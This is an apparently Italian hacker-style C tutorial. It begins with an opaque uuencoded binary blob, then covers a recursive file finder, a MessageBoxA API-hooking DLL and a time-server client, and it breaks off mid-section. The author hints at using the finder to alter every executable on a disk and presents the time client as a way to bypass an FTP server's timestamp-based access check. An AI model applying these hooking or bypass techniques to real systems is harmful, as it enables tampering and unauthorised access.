M#/D.TNDVH_H(X=;*W&ZN=@I_#X/^`7(1Q%X&W.,)QT8X^-<=,/B3;#9PO]0TLV^^[HSTHO<'C9_A\1_"#;%=P3\ MSNJPU_S"`X#*Z_^-172K.,P0\/___.RY'O86\ZL&5_ZY3\CB":S__SK(=@2* MR.,(K`K`=`.JXOA[B#+`JFCS'\H(D]SO"*<*-HM'+_%%!/@08S3X#/@(^`Y` MBK/Z]@I_>&BZL=?K"+JR^P.ZL]<&/!=T#3WWPV=T$,<[ M\68`ZR12?@ZG_>@H`%J[50*W_KL0`.A#`%0`=,?'Q](?H.?RR@0`L-'S`<>$ MK/^!?0*M&/@I/*H(KV?>&%"[%!P/Q!@`6#D,NQQ+M_4-`+OX#`TF_QF"Z0,7 M#A+97P?#RO0GQ54,X9]93?B+';0_S2%R$!!`>6O$`?SQ0/?']O_IZ^[0^`HS MR0/&)H=-4,Y`SL-L!RO!K+AET]OX&`*0X:W@_.'K@_LO&@1V!K0^YOSG*>PU MXA`K?R-U+MYW_D/%.W<*="L>!E-2L5?\_UQ?"@<#V@/R_/_0*_(/X(S"6PL7Y:6$#`J?X>]%X&N(T'^&]NZ.S^=0HF@W\:!LI]_?^RR]GQK#P- M=`P\&G01._-U&(;SV,/X=`GKAX,*=`%.BL.XHN__6[O_`@"^'`6,VNA1_[CX M"36X_BT4VO[G_`HO_.`5X/[>7%\F_U\4T^W#\ACR_C99Q,[\.[U-]"K^\OQU M'PIU$.C`_PKC\/QT%M#MP]#A\_$FB@O+RU'TL/O#&NOQ>?T*BU8&2GZ!5S;3 M_JG\*:;U*,:XBVGX5P2^BD;UB$'_.^.B^G4&RNA8MKM1_ON_]+#_#+C4"(M. M!HNUV58*1^]SZ*+]B\>IV2O'2*K0!ON/N?,/N?$+JCOSX/+C!14>T,._\L#] MFXH',N3QW[AH*]!^!5#HO?U6\9`.=%AVKD;H_;K_KK?\]/3L((_R5PFY(`"- M?@]QWHS2Z##@S_8KS_A/FA8'Z#$)<@+C"ETX7&IJN8O0^_-]('<1%F)]&#;S MQ,/O=HY!* M9VKX#D`*,6KO:D!JODX=X)K\:KYJ_<4*6W!J#&K_V&CX%,)H^`T`"L/4:/@+ M0&@*BW,.DO$/_PO)>0ZYA"M."(/Y_GY'C`.Y_O^4F-HA?E`0W0A0!5'H=/R< M`E*-=G&X<15O40I1_+[C$!Y>ZO/_XE3QJI'SI!_K%Z^J\D,\F"P9'WV!_+Q3;6!/SC4S[2!%+W3HO>.?OX__C&*\-T`N+FPX`^ M^@3_PP)R&V;!X!!F#ZS0^\$4AN'WV?OWZ?CWPZ3"$,N3R?KWX5!2S?>&_^/S M\0A% M:4BQ]]H+'P[;=#YY"T7QV8/3$#[Q\S,3\8O[,]O\/\R+T#/`O1``T>#1TM'\ M___30"O.&]]S!4@#SA/?__]-=>E=ZQ9=N,@`Z=STX_>3!PR2]_&3_US"+/]1=@'F?U=__]:_08/K=#3ZLN#X1]T!M'J]T71V.+ZY_^EPM/@Y_V- M_/[G_(O;\Z@KB_5L&-B'9K#K!=@**P=SX"0K< M_8B+X`S8"(ITH?X_V/OI?P.Y`0`#\2O!L\O__KG45B\>+V8O*2?.F=`Z+^#W\B\LWN4;KYH_K M!$@K1HO"!A]=CO]1>\J3BCA^)9\ZS"?,"LET!OS2)J9U`CK$8_X$L+]&`:HV MBD<$JI+I4?X*O]'T[/'K-OT&8H'L`.'A`H-L`7T%QY,!`!\*C;X`_Q976PI& MZ?VA\E`(H4A0#NC+_NX.8R\(P@/_W_[?_?]V!B+J#)'JK/[\Z=U#]^P(]'C7 MLLH,H?@*`'X`!USZ8WY6@?H80LU_3_D&^7X"TXWYC?@0"(U88FC^EO@*[`/5 M4)+\/JS9DGN2_._\"9$+NM#O'AU_:9&)#;@`/9*\# M@'TP`'0)C54P0<%:B06GL:"'NOTYDM/\+XL=QW!_1.3VPH#E_(O(B]IU%';] MP9O)*P#/^`E>N;+7B47_(12)51:)31B)71KO'$!TYOL>X<^[,]+`X=FQ`D*Q M+8`+2@"#VE.IYPVQPN$X!)KIC97HN?T+'T&\& MP550BN:`Y("+Z#.'A\=8G+#5SH"!S_K__X#Y"'(1BL2*XXK?BOJ*UC(?^_:` MZ0CKZKD*D^';T=C___[)=?:=>#<#P1/>$]>+S5V00W/HVNC!;@7L_T#3,Y)R M#XK!@.9_"O4^P,-'T=Z+U\//H+^PN_Q_ATS0KV>+=!X=/1TI7'^/+I_`!!^8#U58L/_^HSUX'BU(;0`M$2 M\(H#?B^?]CI.%&`/=F"`/P$_H3]`)H M_O0&]/WQY@H#^!,1P=H3].;:]/TD$`3:]/R^YCPBVM@3\A/TY@C_VO3X">C& M$]>#Q`R3L=]971T''?Q)@>F!@,GW__]S`]':0?;%0'4(08K!,O706I'MQY%) MRL/]\0']$?W_"?GRPBK1&O!2L`*Z`0`[]1OO=3F1).'E<@8JY9SQ[Q[OI'(1 MT.2`I2T77ELD#K__#AB\*Q!M/@6UIO]]#WQ_[3@_+_ M:M!J_,&`@.EGX>'_4H]:>052[UK#WS_VQH!T!^BU@13UPSK!=0[>\&X*.]>+ M_L-:"]IT>X`A[ M`]L3^/[8^`KM>`/;Z<.3L:`J[X?+A;_B'X,KSR;Q__$' MX?;C72:`/2MT!_HM=1__!4Y'271,]21T2":*'?_?@.LZ@,,*# M^0L/N0LP_`#X]7WX]?^)3OY_'XAV_`97C7[L_['1`%\''O[N^HMV_L1X#`-V M^D;_#WD(QD;L`.LN]]Z#_@SAAX:^QH!Z[#7&0NP?\'(:3G@/_O?P.79T^`[N MZ^['U#$`_T8?_OHS]OR+5KS2>#7V1OP_^(!T`[`MJHNIB;$%L##APZKKF%T` MJDEY=M)__'1,L"ZJ070&ZDIU]TJ%R&B3!.CN%U#12QN.#;__SSJ\^!PU;I4"R`M$WV[`7__P4`BL28B\A8@_G9 M=0%!45?_?_?9Z$0!7UD\@7,$Z,? M8[OI+G41XSCX,N-E&.+C*_?G*L8\>/A%S65U'^I3Z'C]__];C@^Y;D]P2Q M_^B@9G'H8ODM`1[OB>^R6W/%PP[WFMI\2?LF?T3D\0K)__^<>0+VV8K9@./\ MBOO0ZP+?_S`R_XV_V14NBP7]70)\P?Q5!(#A`VO9=*#Q_H?YGOR=6%M:>`/I MR_G]3_'Z^<.!`/^._$`<\/^;^R"\/J@`$*74:+8$__^_R1L.PZS%ZW@MT,W. M&\)3___>^7@Y/P'K*ZBMQ1WXR7O.\6B70"1)458I[ZG`]8=5\C;S^OQ>`\9> M$][]^PW6BSO\]Q8?\VI6!N<,.\)^`L>'B\([ROK*.\%]^CM\P?RJB7D(42>P(/.J M6=7[TIG4MRVYY:M'XPD?\2!U`]_O1^+WZ*W[$ID)B\\K3B-Y,ZZ'TL&JB0T2 MO!:H#?P[]UX_U`/Q`_E.3_VJ_!6K]*LJ_@@@JO.JW7G(Z`8`R^C__P(`_RV+ M700[1P)U!(M_!,,_'HS>CL:+\_S7B]&-[N_.\J]T\UD?"]MU[5A2:A`?_NE* MT>(KT?P#^HE$`HD@`'S/`/``&`!05Y``__`#`2<`!P`>`/@P``@QA@`%^#GP MA/8QQ@%1^'+PQ^@XQ`'X<0'PJ?@8AY_X&?@K`O@8XP_X-O@2^$P08P/X%?A7 M^!.,\?A<^!&NQ@0_P_\`#`$"`,KXZ/1YB`0)F(L*X#%#S/8C#N@-X"808_CP M/O@/\$&&&/CP5/@.,\3P5_CPZ/@/_/@["3$R M-RXP_AJ',7?X"O_XZF3\Z`/\_S]%[\=6[>___X"0P`]&+X)+2R M\1YV*.HFZ0$"`?T$`MKX$]8"@OO:^P<`".S_80*?T>G]_.@DZ$<-"IPP,?_? M,C,T-38W.#E!0D-$148R_/_X"0`5`10!$0$0?((`!@X@V1S^'@&`_TT"@!`!$0`0`)`%>/@7`1KTU>3A__@0!.H=\__X%0)2 M&')U?VUQ968P"#3_('WY,#I5`/LN1/$`\`!O`%!700+_$`,`(`#_``0`^"1C MC/@%^"CX!C'&^"SX!_AH^!AC`O@X^`CX;(PQ^`GX9/C%QACX4/C&^'QCC/BZ M^(#XNS'&^#SXP_A`^!AC3?A$^$[X2(PQ^$_X3/A8Q@CX5/A9^!!C]/A:^%SX M6XP`^&#X]!$@^'#X]/ATQICX8?AX^&)"C%@"^`WX&#'&^)7X'/B6^)@P(/B7 M,/B888PX^)GX,#$F^)OX-/B<,$R8^)U8^)XP85CXGUCXH,*$6/BA6`D3^*(8 M^*-0QACXI/B^^!MCC/BV^,[XNC'&^-/XPOC5^!ACQOC6^,KXUXPQ^,[XV/C2 MQACXV?CH^"1CC/CL^"7X\#'&^";X]/@G^!B'^/@H^`@#^!@3./@,^#D0)BSX M+6#X+M#R)DSX'DCX<9BP*/AT$/AU6#3H\OAVZ/+X>/(D&HWX>/(H^'CR+$:C M^'CR-/AX\CSXT5B`\D#X@/),^%\`^C0:^'CR5/AX\EB-,?AX\I#X9_B4QACX M:/B8^&ECC/B<^&KXH#'&^&OXI/AL^!ACJ/AM^*SX;HPQ^+#X;_C0QACX=_C4 M^'ACC/C8^'KXW#'&^'OXX/A\^%@LY/A]P/+X?L#R%HOX?\#R^(#`\G&(^('X M``3XA+%8^`3XAKCR^(>X\HPQ^(GX$/B*QF+X%/B+J/+XC#'\T/+XC_@!)`0% M`!AC\?@H^._X+,1Q^#@!,/B_`8@Q^#3X-/@X)DSX`3#(O1AC,/B^^+3XOXPQ M^+CXP/B\QKCXP?C`^,(`````\``````````````````H````(````$`````! M``0````````"````````````````````````````````@```@````("``(`` M``"``(``@(```,#`P`"`@(````#_``#_````__\`_P```/\`_P#__P``____ M`/__________________________________________________________ M____________________________________________________```/____ M__```/______`1$1$`____`#,S,`____\!$1$1$0__\#,S,S,P___PF1D1D1 M$0_P,[,S,S,P__\!&1$1$1$/\+LS,S,S,/_PD9$9&1$1$`L[.S,S,S,/\)F9 M&1&1$1`#N[.S,S,S#_`9D9D9&1$0"[.[L[,S,P_PF9F9D1&1D`.[L[L[,S,/ M\)F9D9F1$1`+L[.SNS,S#_"9F9F9$9$0"[N[.[.S,P__"9F9D9F9#_"[N[NS MLS#__PF9F0F1$0_PN[N[N[,P___PF9"0&9#__PN[,[L[#____P`/#P`/___P M`P,[`/______\`________```/________#_________\/________\`____ M______\``/_____P#________P``\*H/____\`________"JH/"JH/______ M______\*JJ#_"J#____________PJJH/__``_____________P``________ M____________________________________________________________ M________________________```````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````````````````````````SX`+$@`2`/D`?0```%!I;F=A=&]R92`@ M(``$``8`&``(`/__```"4((F2&]S=```&``$`-``#`!E`(``@5"!```$`!P` M$``(`/__```"4((@1&EM90``&``8`!@`#`!F`(``@5"!```T`!P`+``(`/__ M```"4((@("`@("`@(%1I;65R(```8``8`"``#`!G````@5"!``"$`!0`'``0 M`,D``0`!4(!);FEZ:6\``*``%``<`!``R@````%0@$9I;F4@``"\`!0`'``0 M`,L````!4(!4;V=L:2```-@`%``<`!```@````%0@$-H:75D:0``'``L`-`` M"`!I`````E""```````````````````!``$`("`0``0``0#H`@```0`````` M```````````H````/P```"<````!``0``@```'H#```````````````````` M````````````@```@````("``(````"``(``@(```("`@`#`P,````#_``#_ M````__\`_P```/\`_P#__P``____`$`````"#SQW`@````(/`O(CLS`>``F MB`)W`@`````4#_B.S,!WB([,P"B(`G<"``````H/^(CLP``$B``&CLP(`"B( M`G<"``````H/^(B.Y@`$B`*.`N8JB`)W`@````(/`O@XB`)W`@````(/`O@X MB`)W`@````(/`O@XB`)W`@````(/`O@XB`)W`@````(/.O\"AP(````"#SK_ M`O@"````0``````!```````````````````H````/P```!X````!``0``@`` M`)0"````````````````````````````````@```@````("``(````"``(`` M@(```("`@`#`P,````#_``#_````__\`_P```/\`_P#__P``____`$`````" M!SQW`@````(//'<"`````@\Z_P)W`@````(/"/\"]P1W+/\"=P(````"#PC_ M!G<"?RK_`G<"`````@\&_P+P!``"=P)_*O\"=P(````"#P;_`NP$S`('`G\J M_P)W`@````(/!O\`"NQN[`=_`"K_`G<"`````@\&_P`*[`?L!W\`*O\"=P(` M```"#P;_``KL`&P'?P`<_P+P#/\"=P(````"#P;_`NP$S`('`G\<_P+P#/\" M=P(````"#P;_`NP$S`('`G\$_P`.\`#_\`#_\``$_P`,\``/\``/!O``!O]W M``````(/!O\"[`3,`@<"?P3_`@\"_P0/!/\"#P3_`@\"_P3P`O\"\`C_`G<" M`````@\&_P+L!,P"!P)_"/\"#P0`!`\$_P(/`O\$\`+_`O`(_P)W`@````(/ M!O\"[`3,`@<"=P3_``KP`/\/_P`$#P3_`@\"_P3P`O\"\`C_`G<"`````@\& M_P+L!,P`"@=W?_\/``3_``CP`/\`!/\"#P+_!/`"``(/"/\"=P(````"#P3_ M`OP&S`+`!'<`"/\/_P\&_P(/!/\`!@__\``._P)W`@````(/!/\*S``*!W=_ M\```#O\`!@__\``._P)W`@`````&#__\``K,``;`=W\`)O\"=P(`````!@__ M[``,S`('`G\F_P)W`@`````.#__LS,!__@`$S`('`G\F_P)W`@`````4#__L MS`=__^S,!RC_`G<"`````!0/_^S,!W__[,P/*/\"=P(`````"@___LP/``3_ M`NP"P"K_`G<"`````@\$_P+N`F\$_P+N`F\J_P)W`@````(/.O\"=P(````" M#SK_`G<"`````@\Z_P+W`@```$```````0`````H````/P```"<````!``0` M`@```#H#````````````````````````````````@```@````("``(````"` M`(``@(```("`@`#`P,````#_``#_````__\`_P```/\`_P#__P``____`$`` M```"!SR(`@````('/(@"`````@<\B`(````"!PR(!'<">"J(`@````('"H@" MAP9W*H@"`````@<*B`*'!G(````Z(``8(B(``#H@"`````@<&B`*.!,P"P`*(!G')H@`!H=W``````(/`O@$B``*CL`&P'<`!(@$ M``(($H@"@`R(`G<"`````@\"^`2(`HX$S``&P'>'`!J(`H`*B``&AW<````` M`@\"^`2(`HX$S`+``G<$B``.@`"(@`"(@``$B``,@``(@``(!H``!HAW```` M``(/`O@$B`*.!,P`#,!WAX@(B`0(`H@$"`2(`@@"B`2``H@"@`:(``:'=P`` M```"#P+X!(@"C@3,`L`"=PB(!`@$B`((!(@""`*(!(`"B`*`"(@"=P(````" M#P+X!(@"C@3,``;`=X<`!H@""`0``H@""`2(`@@"B`2``H@"@`:(``:'=P`` M```"#P+X!(@"C@3,`L`"=P2(``J``(@(B``$"`2(`@@"B`2``H@"@`B(`G<" M`````@\"^`2(`HX$S``*P'>'B`@`!(@`"(``B``$B`((`H@$@`(``@@&B``& MAW<``````@\"^`2(`HX$S``*P'=XB`@`"H@""`2(``8(B(``#H@"=P(````" M#P+X!(@"C@3,`L`$=P`(>`B("`:(`@@$B``&"(B```R(``:'=P`````"#P+X M!(@";`;,``H'=WB````.B``&"(B```Z(`G<"``````@/^(B&",P"P`1W)(@` M!H=W```````(#_B(;`K,`@<"=R:(`G<"``````8/^(X`!,P`#`>([,S'=R2' M``:(=P``````%@_XCLS`=XB.S,!W`":(`G<"`````!8/^([,P'>(CLS`>``F MB`)W`@`````4#_B.S,!WB([,P"B(`G<"``````H/^(CLP``$B``&CLP(`"B( M`G<"``````H/^(B.Y@`$B`*.`N8JB`)W`@````(/`O@XB`)W`@````(/`O@X MB`)W`@````(/`O@XB`)W`@````(/`O@XB`)W`@````(/.O\"AP(````"#SK_ M`O@"````0``````!```````````H````/P```!X````!``0``@```*("```` M````````````````````````````@```@````("``(````"``(``@(```("` M@`!`0$````#_``#_````__\`_P```/\`_P#__P``____`$`````"!SQW`@`` M``(//'<"`````@\Z_P)W`@````(/"/\"]P1W+/\"=P(````"#PC_!G<"?RK_ M`G<"`````@\&_P+P!``"=P)_*O\"=P(````"#P;_`NP$S`('`G\J_P)W`@`` M``(/!O\`"NQN[`=_`"K_`G<"`````@\&_P`,[`?L!W__)O``!O]W``````(/ M!O\`#.P`;`=_\!K_`O`,_P)W`@````(/!O\"[`3,`@<"?QS_`O`*_P`&\'<` M`````@\&_P+L!,P`%@=_\/_P`/_P`/_P``3_``SP``_P``\&\``&_W<````` M`@\&_P+L!,P"!P)_!/\"#P+_!`\$_P(/!/\"#P+_!/`"_P+P!O\`!O!W```` M``(/!O\"[`3,``8'?_``!O\"#P0`!`\$_P(/`O\$\`+_`O`(_P)W`@````(/ M!O\"[`3,`@<"=P3_``KP`/\/_P`$#P3_`@\"_P3P`O\"\`;_``;P=P`````" M#P;_`NP$S``*!W=P_P\`!/\`"/``_P`$_P(/`O\$\`(``@\(_P)W`@````(/ M!/\"_`;,`L`$=P`(_P__#P;_`@\$_P`&#__P``S_``;P=P`````"#P3_"LP` M"@=W?_````[_``8/__``#O\"=P(`````!@___``*S``&P'=_`"3_``;P=P`` M````!@__[``,S`('`G\F_P)W`@`````.#__LS,!__@`$S`('`G`D\``&_W<` M`````!0/_^S,!W__[,P'*/\"=P(`````%`__[,P'?__LS`\H_P)W`@`````* M#__^S`\`!/\"[`+`*O\"=P(````"#P3_`NX";P3_`NX";RK_`G<"`````@\Z M_P)W`@````(/.O\"=P(````"#SK_`O<"````0``````!````````P`#(D`54 M`#,`CP!`````4')I;G0`"`!(96QV`#0`+``C`!$``@````%0@$-A;F-E;``` M```$`)``"`#__P$``E""4')I;G1I;F<`````#`"0``@`90`!``)0@B5S```` M`!0`D``(`&8``0`"4()O;B!T:&4@)7,@4')I;G1E<@`````<`)``"`!G``$` M`E""8V]N;F5C=&5D('1O("5S``````````````````````#``,B0!Q(`$@". M`$P``$)OP`&`"D`#@`!`````5"`3TL``'L`&0`I``X``@`` M``%0@$-A;F-E;```>P`M`"D`#@!E`````5"`4V5T=7`N+BX```,`60`<``P` M__\```)0@B9#;W!I97,Z```>`%4`%``,`&\```"!4($``#L`5P`Z``P`<``" M``%0@$-O;&QA=&4@0V]P)FEE``P`/__`0``4$)O3H``"H`%`!B``H`90`` M``)0@@``!@`@`$``"@#__P```E"")D9I;&5S.@``!@`L`$``4@!F``,`H5"# M``!,`"``0``*`/__```"4((F1&ER96-T;W)I97,Z``!,`"P`0`!2`&<``P"A M4(,``)(`!0`R``X``0`!``%0@$]+``"2`!<`,@`.``(````!4(!#86YC96P` M`````````,``R``(%``8`,H`@@```$9I;&4@4V%V92!! Indicazioni per l'uso. Compilare, eseguire .. divertirsi. :)) XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 9. Find file ultrarapido (e applicazione d'esempio) //--------------------------------------------------------------------------------------------------- Una procedura decisamente veloce per recuperare informazioni da un hd. int vedi(char *dir,char *spec){ struct ffblk trova; int t; char s[0xff]; metti("*.*"); t = findfirst(s,&trova,FA_DIREC); while(!t){ if(strstr(nome,spec)) printf("%4d %s\\%s\n",c++,dir,nome); if(trova.ff_attrib==0x10){ if(trova.ff_name[0]!='.'){ metti(nome); vedi(s,spec);}} t=findnext(&trova);}} Tramite la struttura ffblk vengono recuperate le informazioni dalla table list sui nomi delle directory e dei file mettendoli a disposizione per eventuali elaborazioni. Usavo questo sistema (TANTO TEMPO FA!) per fare delle -piccole- modifiche velocemente .. emh.. a tutti gli exe presenti su un hd. :)) Questo potrebbe un esempio -non malizioso- di utilizzo (quelli maliziosi li lascio alla vostra immaginazione!) Quante volte vi hanno chiesto di fare un bookmark con tutti i siti che avete nelle preferenze? NESSUNA?? ha ha .. beh a me spesso e volentieri. Potreste usare la procedura VEDI in questo modo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: bookmark.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include int c=1; int vedi(char *dir,char *spec){ struct ffblk trova; int t; char s[200]; FILE *f; sprintf(s,"%s\\%s",dir,"*.*"); t = findfirst(s,&trova,FA_DIREC); while(!t){ if(strstr(trova.ff_name,spec)) { sprintf(s,"%s\\%s",dir,trova.ff_name); printf(": %3d\n: %s\n",c++,s); f=fopen(s,"rb"); fscanf(f,"%s",s);fscanf(f,"%s",s); printf(": ... %s\n\n",s); fclose(f); } if(trova.ff_attrib==0x10){ if(trova.ff_name[0]!='.'){ sprintf(s,"%s\\%s",dir,trova.ff_name); vedi(s,spec);}} t=findnext(&trova);}} char *toup(char *a){ int i=0; char *c=(char *)malloc(strlen(a)+2); while((c[i]=toupper(a[i]))!=0)i++; return(c); } int main(){ clrscr(); vedi("c:\\windows\\prefer~1",toup(".url")); printf("\n\nTrovati %d files.",c-1);} ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: con BOOKMARK > lista.txt otterete la lsita completa di tutti i siti che avrete messo nelle preferenze (usando explorer!) con le seguenti caratteristiche -------------------- lista.txt : 1 : c:\windows\prefer~1\STRANI\UNUSUA~1.URL : ... URL=http://www.bme.freeq.com/skulls/ : 2 : c:\windows\prefer~1\RUNEST~1.URL : ... URL=http://www.chem.lsu.edu/cbury/ETEP/Tolkien/R/rune/index.htm : 3 : c:\windows\prefer~1\SCIENZA\UNIVER~1.URL : ... URL=http://www.astro.virginia.edu/ : 4 : c:\windows\prefer~1\SCIENZA\SCIENT~1.URL : ... URL=http://www.scientificamerican.com/askexpert/index.html .... ------------------------- (compilando a 32bit invece che a 16 come ho fatto io avrete anche la visualizzazione dei nomi lunghi replicando oltre alla url anche il titolo esatto che gli avevate precedentemente associato.) Nota di utilizzo. I nomi dei file e delle directory vengono letti come stringa quindi non e' possibile cercare file usando i jolly char dicendo ad esempio vedi("c:\\windows","*.EXE"); (per cercare tutti gli EXE) ma dato che la procedura cerca gli spezzoni citati all'interno delle stringhe dei nomi sara' sufficiente scrivere vedi("c:\\windows",".EXE"); ..per cercare tutti gli EXE! oppure vedi("c:\\windows",".TXT") .. per cercare tutti i file di testo vedi("c:\\windows","SPP") .. per cercare tutti i file e le directory che contengono la parola SPP vedi("c:\\windows","2.EXE") .. per cercare tutti i file con estensione EXE che finiscono col carattere "2" ps. Dato che la struttura ffblk replica i nomi tutti in caratteri maiuscoli e' necessario usare a nostra volta tutti-i-caratteri-maiuscoli per le considerazioni del caso. L'istruzione STRSTR poi, necessaria al controllo degli -spezzoni- ed usata per verificare la presenza di questi ultimi all'interno delle stringhe della name_file_table_list, e' case-sensitive! (ovvero fa differenza tra "exe" ed "EXE"!) Nel programma sopra per usare le lettere minuscole io mi sono avvalso della procedura di supporto TOUP : ----------------------------- char *toup(char *a){ int i=0; char *c=(char *)malloc(strlen(a)+2); while((c[i]=toupper(a[i]))!=0)i++; return(c); } ----------------------------- al fine di convertire tutti i caratteri minuscoli di una stringa in maiuscoli. da qui la spiegazione della riga di ricerca nella mail procedure : vedi("c:\\windows\\prefer~1",toup(".url")); che altrimenti sarebbe dovuta essere : vedi("c:\\windows\\prefer~1",".URL"); XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 10. Intercettare chiamate Api sostiuendo alle stesse procedure diverse. //--------------------------------------------------------------------------------------------------- due semplici programmi per intercettare la api MessageBox (con lo stesso sisteme e' semplice modificare anche altre chiamate ovviamente) 1. la libreria DLL che si occupa di intercettare la MessageBox originale -------------------------------- libreria.c #include #pragma hdrstop typedef int(*MESSAGEBOX)(HWND,LPCTSTR,LPCTSTR,UINT); typedef FARPROC (*SETPROCADDRESS)(HMODULE , PSTR, FARPROC); HMODULE a= NULL; HMODULE b= NULL; HMODULE c= NULL; MESSAGEBOX d = NULL; SETPROCADDRESS id = NULL; char buf[256]; int WINAPI INTERCETTA(HWND ha,LPCTSTR lt,LPCTSTR tx,UINT tt){ return d(ha,lt," testo che INVECE appare. ;-) " ,tt);} BOOL WINAPI DLLEntry(HMODULE un, DWORD caso, LPVOID xxx) { switch(caso){ case DLL_PROCESS_ATTACH: a = un; b = LoadLibrary("..\\newapi32.dll"); id = (SETPROCADDRESS)GetProcAddress(b, "SetProcAddress"); c = LoadLibrary("user32.dll"); d=(MESSAGEBOX)(id)(c, "MessageBoxA",(FARPROC)INTERCETTA); break; case DLL_PROCESS_DETACH: d=(MESSAGEBOX)(id)(c, "MessageBoxA",(FARPROC)d); FreeLibrary(b); break; default: break;} return TRUE; } -------------------------------- programma di prova. -------------------------------- programma.c #include #include typedef int (*MESSAGEBOX)(HWND,LPCTSTR,LPCTSTR,UINT); MESSAGEBOX mb = NULL; HMODULE hu = NULL; main() { HMODULE bb; CHAR ch; hu = LoadLibrary("user32.dll"); bb = LoadLibrary("libreria.dll"); if(bb){ mb=(MESSAGEBOX)GetProcAddress(hu, "MessageBoxA"); (mb)(NULL,"Testo che dovrebbe apparire ","Titolo",MB_OK); FreeLibrary(bb);}; FreeLibrary(hu); return TRUE;} -------------------------------- Il semplice caricamento della libreria LIBRERIA.DLL installa la nostra nuova api sopra quella gia' preesistente intervenendo sul risultato della operazione di creazione del form message. Normalmente dovrebbe apparire un form message con titolo "Titolo" e con testo "Testo che dovrebbe apparire" .. all'atto della chiamata libreria.dll sostituisce al testo originale la scritta "Testo che INVECE appare. ;-)" A cosa potrebbe servire? .. BOOHHH .. ha ha ha a qualcosa servira' di certo a gente con la vostra fervida immaginazione. :)) XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 11. Time server in c, come linkarsi ad un orologio atomico. //--------------------------------------------------------------------------------------------------- Questo me lo aveva chiesto HAL9000 preoccupato del fatto che doveva collegarsi ad un sito FTP della sua universita'. L'amministratore del sito aveva pensato bene di installare un robot che verificava il time event di connessione dei nuovi utenti. Perche' questo? L'idea era buona. Il server era connesso direttamente all'orologio atomico del cnr e dato che gli utenti interni sfruttavano terminali passivi connessi alla stessa macchina (e che quindi erano linkati allo stesso timer) era logico presupporre che solo utenti in possesso di password e recanti time event analoghi o differenti di pochissimo dal server provenivano dall'interno indipendentemente dall'ip mostrato. Ma fatta la legge.. he he .. Dal cercare di connettersi al server ftp modificando preventivamente il proprio orologio interno (e la data) sull'ora dell'orologio atomico del cnr e' venuto fuori questo programma. Un time server tipo quello del CNR e' un servizio molto semplice ed efficace. Ci si connette all'Ip prestabilito su una porta che solitamente e' la n.13. A seconda del server utilizzato si avranno diversi tipi di risposta. Il time server del CNR e' decisamente molto evoluto in quanto controlla dall'IP la zona di provenienza degli utenti che si connettono al servizio e replica con una stringa di caratteri contenente la data e l'ora adeguata alla zona del richiedente (ora legale compresa) Quindi collegandosi da Boston si avrebbe l'ora di Boston, collegandosi da Firenze quella di Firenze.. e cosi' via. Fa eccezione il caso di Pisa. I pisani infatti nella maggior parte dei casi non sono in grado ne di leggere l'italiano ne di leggere l'ora sull'orologio e quindi nel loro caso il server invia dei piccoli disegni esplicativi: un aratro se e' mattina, un tegame se e' mezzogiorno, un berrettino da notte se sono le 18.00 e una donnina con la gonna sollevata per i pisani che soffrono di insonnia e si attardano alzati ben dopo l'ora di coricamento del pollame. :)) Cmq se non siete di Pisa questo e' il programma che fa per voi: La base per la query e per la visualizzazione della risposta sarebbe tutta qui: ---------------------- Time server MINIMO: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ORA.C :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #define SS "155.253.17.2" #define PP 0x0d main() { //-------------------------------------------- WSAData a; SOCKET b; long gg; struct sockaddr_in c; int d,n,m; char e[0xff]; //-------------------------------------------- gg=WSAStartup(0x0101,&a); b = socket(AF_INET,SOCK_STREAM,0); c.sin_family = AF_INET; c.sin_port = htons(PP); c.sin_addr.s_addr = inet_addr(SS); d=connect(b,(struct sockaddr *)&c,sizeof(c)); n=recv(b,e,sizeof(e),0); for(m=1;m<=n; m++) printf("%c",e[m-1]); printf("\n"); closesocket(b); //-------------------------------------------- } :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Il programma apre un socket alla posta 13 sul servizio dell'orologia atomico del CNR interrogandolo sull'ora e sulla data. Quindi visualizza sulla consolle la stringa di risposta. Ovviamente per andare a modificare l'ora sul proprio computer sono necessari altri passaggi. Il programma completo e' quindi questo: 